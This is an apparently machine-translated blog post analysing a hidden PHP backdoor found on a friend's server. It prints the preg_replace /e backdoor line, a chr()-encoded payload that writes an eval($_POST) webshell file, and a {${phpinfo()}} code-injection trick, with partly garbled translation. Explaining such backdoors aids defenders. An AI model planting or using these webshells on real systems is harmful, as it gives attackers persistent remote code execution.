PHP バックドアはたくさんあり、Baozi はそれらをよく見て遊んできましたが、友人がサーバーをチェックするのを手伝ったときに、そのような悪意のあるコードを見つけました。
問題は次のようなものです。友人の Web サイトでバックドアを見つけるためにさまざまなツールを使用しましたが、PHP トロイの木馬は見つかりませんでした。シャオヘイの技は毎回とても高度です
。バックドアは使用後必ず削除していますが、毎回入ってくることはできますが、どこから入ってきたのかわかりません。これは本当に痛いです。
その後、分析を通じて、最終的にログからいくつかの手がかりを見つけました。IP が常に特定のファイルに奇妙なデータを投稿していることがわかりました。それでは一段落
しばらくすると、この IP は不可解なファイルにアクセスしました。その名前は明らかに通常のシステム ファイルではなく、PHP バックドアでした。でも、使用するとすぐにバックドアが消えてしまいます
削除されました。
はは、シャオヘイは私に会うととても気配りがあります。
その後、分析により、Xiaohei がアクセスしたファイル検出コードが判明しました:
コードは次のとおりです | コードをコピー |
@preg_replace("//e",$_POST['IN_COMSENZ'],"アクセスが拒否されました"); |
このコードが見えても問題ありませんが、これは Xiaohei によって隠された悪意のあるコードとバックドアです。非表示、基本的に何でも
ウイルス対策ソフトウェアはそれを検出できません。
preg_replace関数プロトタイプ:
mixed preg_replace (混合パターン、混合置換、混合主語 [, int 制限])
特別な指示:
/e 修飾子により、 preg_replace() は置換引数を PHP コードとして処理します (適切な後方参照が置換された後)。ヒント: 必ず確認してください
置換は有効な PHP コード文字列を形成します。それ以外の場合、PHP は preg_replace() を含む行で構文解析エラーを報告します
違います。
上記のコードはデータを受け取るための POST のためのもので、データを取得するために GET に置き換える場合はさらに面倒です。 。 。
例:
コードは次のとおりです | コードをコピー |
echo preg_replace("/test/e",$_GET["h"],"justst test"); |
?h=phpinfo() を送信すると、phpinfo() が実行されます (/e 修飾子を使用すると、preg_replace は置換パラメーターを PHP として扱います
)コードの実行)。
POST したい場合、次のコードをテストして送信するとどうなりますか?
コードは次のとおりです | コードをコピー |
(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46)。 chr(112).chr(104).chr (112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60)。 chr(63).chr(112).chr (104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95)。 chr(80).chr(79).chr (83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62)。 chr(39).chr(41).chr(59)) |
暗号文に対応する平文は次のとおりです:
コードは次のとおりです | コードをコピー |
fputs(fopen(data/a.php,w),); |
実行の結果、/data/ ディレクトリに 1 文のトロイの木馬ファイル a.php が生成されます。
これは恐ろしいですね。 。 。 。
別の難しい例:
コードの印刷を表示しますか?
コードは次のとおりです | コードをコピー |
関数テスト($str) { } echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]); ?>
|
絶対に違います。通常のマッチングの後、置換パラメータは「test("phpinfo")」となり、現時点では phpinfo は文字列パラメータとしてのみ使用されるためです
数えました。
それを実行する方法はありますか?
もちろんです。ここで ?h=[php]{${phpinfo()}}[/php] を送信すると phpinfo() が実行されます。なぜですか?
PHP では、二重引用符で囲まれた変数がある場合、PHP インタープリターはそれを変数の解釈の結果に置き換えます。一重引用符で囲まれた変数は処理されません。
注: 二重引用符で囲まれた関数は実行されず、置換されません。
ここでは、関数の実行を許可する効果を得るために、{${}} を介して特別な変数 'test("{${phpinfo()}}")' を構築する必要があります
(${phpinfo()} が解釈されて実行されます)。
最初に次のテストを実行できます:
echo "{${phpinfo()}}"; phpinfo は正常に実行されます。
そのため、バックドアを探すときは注意してください。
さて、ここまで述べて理解したところで、上に示したコードは次のとおりです:
コードをコピー | |
1 @preg_replace("//e",$_POST['IN_COMSENZ'],"アクセスが拒否されました");
|